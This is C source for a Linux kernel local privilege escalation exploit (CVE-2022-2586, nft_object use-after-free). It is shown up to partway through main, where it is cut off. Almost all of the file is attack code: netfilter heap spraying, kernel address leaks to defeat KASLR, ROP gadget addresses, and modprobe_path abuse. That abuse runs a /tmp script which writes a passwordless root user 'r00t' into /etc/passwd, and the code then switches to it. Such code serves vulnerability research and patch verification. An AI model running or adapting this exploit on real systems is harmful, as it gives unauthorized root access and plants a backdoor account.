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exploit.c
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/*
* LPE N-day Exploit for CVE-2022-2586: Linux kernel nft_object UAF
* gcc exploit.c -o exploit -lmnl -lnftnl -no-pie -lpthread
* Author: Alejandro Guerrero <[email protected]>
* Copyright (C) 2022 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#define _GNU_SOURCE
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/object.h>
#include <libnftnl/set.h>
#include <libnftnl/table.h>
#include <linux/ip.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <time.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <string.h>
#include <sys/timerfd.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#define OFF_TO_OBJ_LST 184
#define TABLE_KLK_UAF_A "table1_klk"
#define TABLE_KLK_UAF_B "table2_klk"
#define SET_KLK_UAF "set1_klk"
#define TABLE_HLK_UAF_A "table1_hlk"
#define TABLE_HLK_UAF_B "table2_hlk"
#define TABLE_OBJ_SPRAY_A "table3_hlk"
#define SET_HLK_UAF "set1_hlk"
#define TABLE_RD_UAF_A "table1_rd"
#define TABLE_RD_UAF_B "table2_rd"
#define OBJ_RD_UAF "obj1_rd"
#define SET_RD_UAF "set1_rd"
#define TABLE_RR_UAF_A "table1_RR"
#define TABLE_RR_UAF_B "table2_RR"
#define OBJ_RR_UAF "obj1_RR"
#define SET_RR_UAF "set1_RR"
#define TABLE_RP_UAF_A "table1_rp"
#define TABLE_RP_UAF_B "table2_rp"
#define OBJ_RP_UAF "obj1_rp"
#define SET_RP_UAF "set1_rp"
#define CHAIN_RP_UAF "chain1_rp"
#define DEFAULT_BASE 0xffffffff81000000
#define MAX_FDS 1024
#define OBJ_DEF_NAME 8
#define SINGLE_OPEN_OFF 0x37c890
#define MAX_SPRAY_TABLES 4096 * 3
#define TRIG_HOST "127.0.0.1"
#define TRIG_PORT 1337
#define UNSHARE_PATH "/bin/unshare"
#define DUMMY_MODPROBE_TRIGGER "/tmp/p"
#define CALLBACK_ROOT_SCRIPT "/tmp/x"
#define DEF_CORE 3
#define SA struct sockaddr
typedef enum
{
OBJECT_TYPE_UNKNOWN,
OBJECT_TYPE_COUNTER,
OBJECT_TYPE_LIMIT
} obj_t;
/* Function prototype definitions */
void launch_trigger(void);
void delete_table(char *);
void dummy_func(void);
/* Leaked addresses */
uint64_t tbl_leaked_addr = 0;
uint64_t obj_leaked_addr = 0;
uint64_t so_leaked_addr = 0;
uint64_t kaslr_base_custom = 0;
/* KASLR base */
uint64_t kaslr_base = DEFAULT_BASE;
/* Addresses for functions or ROP gadgets */
uint64_t stack_pivot_addr = 0xffffffff817d937a; // push rdi ; pop rsp ; add cl, cl ; ret
uint64_t pop_rdi_ret = 0xffffffff810a06e0; // pop rdi ; ret
uint64_t xor_dh_dh_ret = 0xffffffff81537a39; // xor dh, dh ; ret
uint64_t mov_rdi_rax_jne_xor_eax_eax_ret = 0xffffffff815ee2f4; // mov rdi, rax ; jne 0xffffffff815ee2e1 ; xor eax, eax ; ret
uint64_t commit_creds = 0xffffffff810e1520; // commit_creds()
uint64_t prepare_kernel_cred = 0xffffffff810e1780; // prepare_kernel_cred()
uint64_t kpti_trampoline = 0xffffffff81e01006; // swapgs_restore_regs_and_return_to_usermode + 22
uint64_t pop_rdx_ret = 0xffffffff81022ab2; // pop rdx ; ret
uint64_t pop_rax_ret = 0xffffffff81046361; // pop rax ; ret
uint64_t mov_qptr_rdx_rax_ret = 0xffffffff8165aa85; // mov qword ptr [rdx], rax ; ret
uint64_t modprobe_path = 0xffffffff82e8a0e0; // modprobe_path
/* Saved userland registers */
uint64_t user_rip = (uint64_t)dummy_func;
uint64_t user_cs = 0;
uint64_t user_rflags = 0;
uint64_t user_sp = 0;
uint64_t user_ss = 0;
/* file descriptors for seq_operations spraying */
int fds[MAX_FDS] = { 0 };
int first_tbl_sp = 1;
char **tbl_ptr = NULL;
void dummy_func(void)
{
exit(0);
return;
}
/* Exit printing a message before */
void bye(const char *msg)
{
if (msg != NULL)
puts(msg);
exit(1);
return;
}
/* Launch the trigger and get root! */
void launch_trigger(void)
{
system(DUMMY_MODPROBE_TRIGGER " 2>/dev/null");
system("su r00t");
return;
}
/* Prepare dummy script and callback script */
void drop_callback_scripts(void)
{
system("bash -c \"echo -e '\xff\xff\xff\xff\xff\xff' > " DUMMY_MODPROBE_TRIGGER "\"");
system("chmod +x " DUMMY_MODPROBE_TRIGGER);
system("echo '#!/bin/bash' > " CALLBACK_ROOT_SCRIPT);
system("echo 'echo \"r00t::0:0:r00t:/:/bin/sh\" >> /etc/passwd' >> " CALLBACK_ROOT_SCRIPT);
system("chmod +x " CALLBACK_ROOT_SCRIPT);
return;
}
/* Save initial userland registers */
void save_state(void)
{
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
return;
}
/* Hexdump utility for debugging purposes */
void hexdump(void *mem, unsigned int len)
{
unsigned int i = 0, j = 0;
for (i = 0; i < len + ((len % 16) ? (16 - len % 16) : 0); i++)
{
if (i % 16 == 0)
printf("0x%06x: ", i);
if (i < len)
printf("%02x ", 0xFF & ((char *)mem)[i]);
else
printf(" ");
if (i % 16 == (16 - 1))
{
for (j = i - (16 - 1); j <= i; j++)
{
if (j >= len)
putchar(' ');
else if (isprint(((char *)mem)[j]))
putchar(0xFF & ((char *)mem)[j]);
else
putchar('.');
}
putchar('\n');
}
}
return;
}
/* Assign to a specific CPU core */
void assign_to_core(int core_id)
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(core_id, &mask);
if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
bye("[-] Error at sched_setaffinity()");
return;
}
/* Modify process rlimit for RLIMIT_NOFILE */
void modify_rlimit(void)
{
struct rlimit old_lim, lim, new_lim;
if (getrlimit(RLIMIT_NOFILE, &old_lim) != 0)
bye("[-] Error in getrlimit()");
lim.rlim_cur = old_lim.rlim_max;
lim.rlim_max = old_lim.rlim_max;
if (setrlimit(RLIMIT_NOFILE, &lim) == -1)
bye("[-] Error at setrlimit()");
return;
}
/* Generate a random name */
char *generate_rnd_name(void)
{
char dict[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_";
char *ptr = calloc(OBJ_DEF_NAME + 1, sizeof(char));
if (!ptr)
bye("[-] Error at calloc()");
for (int i = 0; i < OBJ_DEF_NAME; i++)
ptr[i] = dict[rand() % strlen(dict)];
return ptr;
}
/* Append a table to the list of sprayed ones */
void tbl_append_name(char *table_name)
{
int i = 0, s = 0;
if (!tbl_ptr)
bye("[-] tbl_ptr uninitialized");
while (i < MAX_SPRAY_TABLES)
{
if (tbl_ptr[i] == NULL)
{
s = 1;
tbl_ptr[i] = strdup(table_name);
break;
}
i++;
}
if (!s)
bye("[-] Value MAX_SPRAY_TABLES exceeded");
return;
}
/* Cleanup all the tables we sprayed with */
void cleanup_spray_tables(void)
{
int i = 0;
if (!tbl_ptr)
bye("[-] tbl_ptr uninitialized");
while (i < MAX_SPRAY_TABLES)
{
if (tbl_ptr[i] != NULL)
delete_table(tbl_ptr[i]);
i++;
}
return;
}
/* Spray with nla_memdup() allocations (arbitrary data and size) */
void spray_memdup(void *spray_data, size_t spray_size, size_t n)
{
struct mnl_socket *s = NULL;
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0, seq = 0;
char buf[16384] = { 0 };
char *table_name = NULL;
struct nftnl_table *table = NULL;
size_t i = 0;
assign_to_core(DEF_CORE);
if (first_tbl_sp)
{
first_tbl_sp = 0;
tbl_ptr = calloc(MAX_SPRAY_TABLES + 1, sizeof(char *));
if (!tbl_ptr)
bye("[-] Error at calloc()");
}
while (i < n)
{
table_name = generate_rnd_name();
tbl_append_name(table_name);
s = mnl_socket_open(NETLINK_NETFILTER);
if (!s)
bye("[-] Failed to create netfilter socket");
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, spray_data, spray_size);
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_table_nlmsg_build_payload(nh, table);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
if (r < 0)
bye("[-] Failed to send message");
i++;
}
return;
}
/* Callback setelem get */
static int set_cb(const struct nlmsghdr *nlh, void *data)
{
struct nftnl_set *t;
char buf[4096];
uint32_t *type = data;
t = nftnl_set_alloc();
if (t == NULL)
{
perror("OOM");
goto err;
}
if (nftnl_set_elems_nlmsg_parse(nlh, t) < 0)
{
perror("nftnl_set_nlmsg_parse");
goto err_free;
}
nftnl_set_snprintf(buf, sizeof(buf), t, *type, 0);
err_free:
nftnl_set_free(t);
err:
return MNL_CB_OK;
}
/* Parse obj name retrieval output for pointer parsing */
uint64_t parse_uaf_obj_name_leak(char *table, char *set, off_t off, int p,int trick)
{
uint64_t ptr = 0;
struct mnl_socket *nl = NULL;
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr *nlh = NULL;
uint32_t portid = 0, seq = 0;
uint32_t type = NFTNL_OUTPUT_DEFAULT;
struct nftnl_set *t = NULL;
uint64_t *lk_p = NULL;
int ret = 0;
int i = 0;
assign_to_core(DEF_CORE);
t = nftnl_set_alloc();
if (!t)
bye("[-] Error at nftnl_set_alloc()");
nlh = nftnl_set_nlmsg_build_hdr(buf, NFT_MSG_GETSETELEM, NFPROTO_IPV4, NLM_F_DUMP | NLM_F_ACK, seq++);
nftnl_set_set(t, NFTNL_SET_NAME, set);
nftnl_set_set(t, NFTNL_SET_TABLE, table);
nftnl_set_elems_nlmsg_build_payload(nlh, t);
nl = mnl_socket_open(NETLINK_NETFILTER);
if (!nl)
bye("[-] Error at mnl_socket_open()");
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
bye("[-] Error at mnl_socket_bind()");
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0)
bye("[-] Error at mnl_socket_sendto()");
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
while (ret > 0)
{
ret = mnl_cb_run(buf, ret, seq, portid, set_cb, &type);
if (ret <= 0)
break;
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
}
hexdump(buf, 512);
if (p)
{
if(trick)
while (i < 512)
{
if (buf[i] == '\xff' && buf[i + 1] == '\xff'&&buf[i+2]=='\xff'&&buf[i+3]=='\xff')
{
if (i <= 6)
bye("[-] Unknown data");
lk_p = (uint64_t *)((buf + i) - 4);
printf("debug 0x%lx\n", *lk_p);
return *lk_p;
}
i++;
}
while (i < 512)
{
if (buf[i] == '\xff' && buf[i + 1] == '\xff')
{
if (i <= 6)
bye("[-] Unknown data");
// puts("B");
lk_p = (uint64_t *)((buf + i) - 6);
// printf("debug 0x%lx\n", *lk_p);
return *lk_p;
}
i++;
}
}
lk_p = (uint64_t *)(buf + off);
mnl_socket_close(nl);
return *lk_p;
}
/* Spray with nft_object allocations */
uint64_t spray_nft_object(char *table_name, size_t n, char *l_table_name, char *l_set_name)
{
struct mnl_socket *s = NULL;
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0, seq = 0;
char buf[16384] = { 0 };
char *obj_name = NULL;
struct nftnl_obj *obj = NULL;
size_t i = 0;
uint64_t leaked_addr = 0;
assign_to_core(DEF_CORE);
while (i < n)
{
s = mnl_socket_open(NETLINK_NETFILTER);
if (!s)
bye("[-] Failed to create netfilter socket");
seq = 0;
memset(buf, 0, sizeof(buf));
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
obj_name = generate_rnd_name();
obj = nftnl_obj_alloc();
nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name);
nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
nftnl_obj_set_u64(obj, NFTNL_OBJ_CTR_BYTES, 0);
printf("\t[i] Creating NFT_OBJECT_COUNTER object '%s'...\n", obj_name);
nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_obj_nlmsg_build_payload(nh, obj);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
if (r < 0)
bye("[-] Failed to send message");
sleep(1.4);
leaked_addr = parse_uaf_obj_name_leak(l_table_name, l_set_name, 0x40 + 12, 0,0 );
// printf("0x%lx\n", leaked_addr);
if (leaked_addr != 0 && ((leaked_addr & 0xffff000000000000) == 0xffff000000000000))
break;
i++;
}
return leaked_addr;
}
/* Delete a netfilter table */
void delete_table(char *table_name)
{
struct mnl_socket *s = NULL;
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0;
int seq = 0;
char buf[16384] = { 0 };
struct nftnl_table *table = NULL;
assign_to_core(DEF_CORE);
s = mnl_socket_open(NETLINK_NETFILTER);
if (!s)
bye("[-] Failed to create netfilter socket");
table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_table_nlmsg_build_payload(nh, table);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
if (r < 0)
bye("[-] Failed to send message");
return;
}
/* Pause function for debugging purposes */
void pause_x(void)
{
char c = 0;
int r = 0;
puts("[i] Press any key to continue...");
r = read(0, &c, sizeof(char));
if (r < 0)
bye("[-] Error from pause_x()");
return;
}
/* Repeat a char n times and return a string */
char *str_repeat(char c, size_t n)
{
char *ptr = calloc(n + 1, sizeof(char));
if (!ptr)
bye("[-] Error at calloc()");
for (int i = 0; i < n; i++)
ptr[i] = c;
return ptr;
}
/* Create a netfilter table */
void create_table(char *table_name)
{
struct mnl_socket *s = NULL;
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0;
int seq = 0;
char buf[16384] = { 0 };
struct nftnl_table *table = NULL;
table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
s = mnl_socket_open(NETLINK_NETFILTER);
if (!s)
bye("[-] Failed to create netfilter socket");
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_table_nlmsg_build_payload(nh, table);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
if (r < 0)
bye("[-] Failed to send message");
return;
}
/* Prepare a UAF condition by cross-referencing an object from one table to another */
void create_uaf(char *table_1, char *table_2, char *obj_n, char *set_n, obj_t obj_type, int is_s_trick, char *s_trick_name, int x)
{
struct mnl_socket *s = NULL;
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0;
int seq = 0;
uint16_t klen[64] = { 1 };
char buf[16384] = { 0 };
struct nftnl_table *table = NULL;
struct nftnl_table *table2 = NULL;
struct nftnl_table *table3 = NULL;
struct nftnl_set_elem *slem = NULL;
struct nftnl_obj *obj = NULL;
struct nftnl_set *sx = NULL;
struct nftnl_set *set = NULL;
struct nftnl_chain *chain = NULL;
if (obj_type == OBJECT_TYPE_UNKNOWN)
bye("[-] Unknown object type");
s = mnl_socket_open(NETLINK_NETFILTER);
if (!s)
bye("[-] Failed to create netfilter socket");
table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_1);
table2 = nftnl_table_alloc();
nftnl_table_set_str(table2, NFTNL_TABLE_NAME, table_2);
if (is_s_trick)
{
table3 = nftnl_table_alloc();
nftnl_table_set_str(table3, NFTNL_TABLE_NAME, s_trick_name);
}
obj = nftnl_obj_alloc();
nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_n);
nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_1);
if (x)
{
chain = nftnl_chain_alloc();
nftnl_chain_set(chain, NFTNL_CHAIN_NAME, CHAIN_RP_UAF);
nftnl_chain_set(chain, NFTNL_CHAIN_TABLE, table_2);
nftnl_chain_set_data(chain, NFTNL_CHAIN_TYPE, strdup("filter"), 0);
nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT);
nftnl_chain_set_u32(chain, NFTNL_CHAIN_PRIO, 0);
}
if (obj_type == OBJECT_TYPE_LIMIT)
{
nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_LIMIT);
nftnl_obj_set_u64(obj, NFTNL_OBJ_LIMIT_RATE, 1);
nftnl_obj_set_u64(obj, NFTNL_OBJ_LIMIT_UNIT, 1);
}
else if (obj_type == OBJECT_TYPE_COUNTER)
{
nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
nftnl_obj_set_u64(obj, NFTNL_OBJ_CTR_BYTES, 0);
}
else
bye("[-] Unknown object type");
set = nftnl_set_alloc();
nftnl_set_set_str(set, NFTNL_SET_NAME, set_n);
nftnl_set_set_str(set, NFTNL_SET_TABLE, table_2);
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, NFPROTO_IPV4);
nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, sizeof(uint16_t));
nftnl_set_set_u32(set, NFTNL_SET_KEY_TYPE, 13);
nftnl_set_set_u32(set, NFTNL_SET_ID, htonl(0xcafe));
nftnl_set_set_u32(set, NFTNL_SET_FLAGS, NFT_SET_OBJECT); // NFT_SET_ANONYMOUS
if (obj_type == OBJECT_TYPE_LIMIT)
nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_LIMIT);
else if (obj_type == OBJECT_TYPE_COUNTER)
nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_COUNTER);
else
bye("[-] Unknown object type");
sx = nftnl_set_alloc();
nftnl_set_set_str(sx, NFTNL_SET_TABLE, table_1);
nftnl_set_set_u32(sx, NFTNL_SET_ID, htonl(0xcafe));
klen[0] = htons(TRIG_PORT);
slem = nftnl_set_elem_alloc();
nftnl_set_elem_set(slem, NFTNL_SET_ELEM_KEY, &klen, sizeof(uint16_t));
nftnl_set_elem_set_str(slem, NFTNL_SET_ELEM_OBJREF, obj_n);
nftnl_set_elem_add(sx, slem);
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_table_nlmsg_build_payload(nh, table);
mnl_nlmsg_batch_next(batch);
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_table_nlmsg_build_payload(nh, table2);
mnl_nlmsg_batch_next(batch);
if (is_s_trick)
{
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_table_nlmsg_build_payload(nh, table3);
mnl_nlmsg_batch_next(batch);
}
nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_obj_nlmsg_build_payload(nh, obj);
mnl_nlmsg_batch_next(batch);
if (x)
{
nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_chain_nlmsg_build_payload(nh, chain);
mnl_nlmsg_batch_next(batch);
}
nh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_set_nlmsg_build_payload(nh, set);
mnl_nlmsg_batch_next(batch);
nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, NFPROTO_IPV4, NLM_F_CREATE, seq++);
nftnl_set_elems_nlmsg_build_payload(nh, sx);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
if (r < 0)
bye("[-] Failed to send message");
return;
}
/* Once having KASLR base, recalculate offsets */
void recalculate_from_kaslr_base(void)
{
uint64_t k_diff = kaslr_base - DEFAULT_BASE;
commit_creds += k_diff;
prepare_kernel_cred += k_diff;
mov_rdi_rax_jne_xor_eax_eax_ret += k_diff;
pop_rdi_ret += k_diff;
xor_dh_dh_ret += k_diff;
stack_pivot_addr += k_diff;
kpti_trampoline += k_diff;
modprobe_path += k_diff;
pop_rdx_ret += k_diff;
pop_rax_ret += k_diff;
mov_qptr_rdx_rax_ret += k_diff;
return;
}
/* Set up a hook for output packets using a set with key destination port and value a referenced counter */
void set_up_hook(char *table, char *set, char *chain)
{
char *cmd = NULL;
asprintf(&cmd, "nft add rule %s %s counter name tcp dport map @%s", table, chain, set);
system(cmd);
return;
}
/* Connect to a server in a specific port to trigger netfilter hooks */
void trig_net_sock(void)
{
int sockfd = 0, connfd = 0;
struct sockaddr_in servaddr, cli;
bzero(&servaddr, sizeof(servaddr));
bzero(&cli, sizeof(cli));
printf("\t[*] Connecting to 127.0.0.1:%d...\n", TRIG_PORT);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1)
bye("[-] Socket creation failed");
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(TRIG_HOST);
servaddr.sin_port = htons(TRIG_PORT);
if (connect(sockfd, (SA *)&servaddr, sizeof(servaddr)) != 0)
bye("[-] Connection with server failed");
write(sockfd, "AAAA", 4);
close(sockfd);
return;
}
/* Spray with seq_operations structs */
void spray_seq_op_loop(void)
{
int fds[MAX_FDS] = { 0 };
int i = 0;
assign_to_core(DEF_CORE);
modify_rlimit();
while (i < MAX_FDS)
{
fds[i] = open("/proc/self/stat", O_RDONLY);
i++;
}
return;
}
/* Set up a server to receive hook-triggering output packets */
void setup_trig_server(void)
{
int sfd = 0, sock = 0, r = 0;
struct sockaddr_in address;
int opt = 1;
int addrlen = sizeof(address);
char buffer[1024] = { 0 };
if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) == 0)
bye("[-] Error at socket()");
if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt)))
bye("[-] Error at setsockopt()");
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons(TRIG_PORT);
if (bind(sfd, (struct sockaddr *)&address, sizeof(address)) < 0)
bye("[-] Error at bind()");
if (listen(sfd, 3) < 0)
bye("[-] Error at listen()");
if ((sock = accept(sfd, (struct sockaddr *)&address, (socklen_t *)&addrlen)) < 0)
bye("[-] Error at accept()");
r = read(sock, buffer, 4);
sleep(3);
close(sock);
close(sfd);
return;
}
int main(int argc, char *argv[])
{
struct mnl_socket *s = NULL;
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0, seq = 0;
uint16_t klen[64] = { 1 };
char buf[16384] = { 0 };
char *klk_obj_name = NULL;
char *hlk_obj_name = NULL;
char *sp_d = NULL;
uint64_t *sp_d_l = NULL;
char *sp2_d = NULL;
uint64_t *sp2_d_l = NULL;
char *rop_d = NULL;
uint64_t *rop_d_l = NULL;
size_t klk_tries = 0;
pthread_t tx;
void *retval = NULL;
int pid = 0;
int fd = 0;
int pipefd[2] = { 0 };
int sfd = 0, cfd = 0;
int is_success = 0;
char *pipefd_str = NULL;
if (geteuid() == 0)
goto EXP_P;
pipe(pipefd);
/*
Drop callback scripts to achieve LPE from modprobe usermode
helper execution
*/
drop_callback_scripts();
/*
Launch the process that will pop the root shell: it needs
to be outside of the namespace
*/
pid = fork();
if (pid == 0)
{
close(pipefd[1]);
r = read(pipefd[0], &is_success, sizeof(int));
if (r < 0)
bye("[-] Exploit failed!");
sleep(2);
if (is_success)
launch_trigger();
exit(0);
}
close(pipefd[0]);
asprintf(&pipefd_str, "%d", pipefd[1]);
// unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
/*
Execute ourselves in a new network namespace to
be able to trigger and exploit the bug
*/
char *args[] = {
UNSHARE_PATH,
"-Urnm",
argv[0],
pipefd_str,
NULL,
};
execvp(UNSHARE_PATH, args);
EXP_P:
if (argc != 2)
bye("[-] pipe fd not provided for namespace process");
pipefd[1] = atoi(argv[1]);
/* Assign to a specific CPU core for heap shaping reliability */
assign_to_core(DEF_CORE);
srand(time(NULL));
puts("[*] Saving current state...");
save_state();
/* ===================== [ Pre-cleanup ] ===================== */
/* Remove exploit tables left from other executions */
delete_table(TABLE_KLK_UAF_A);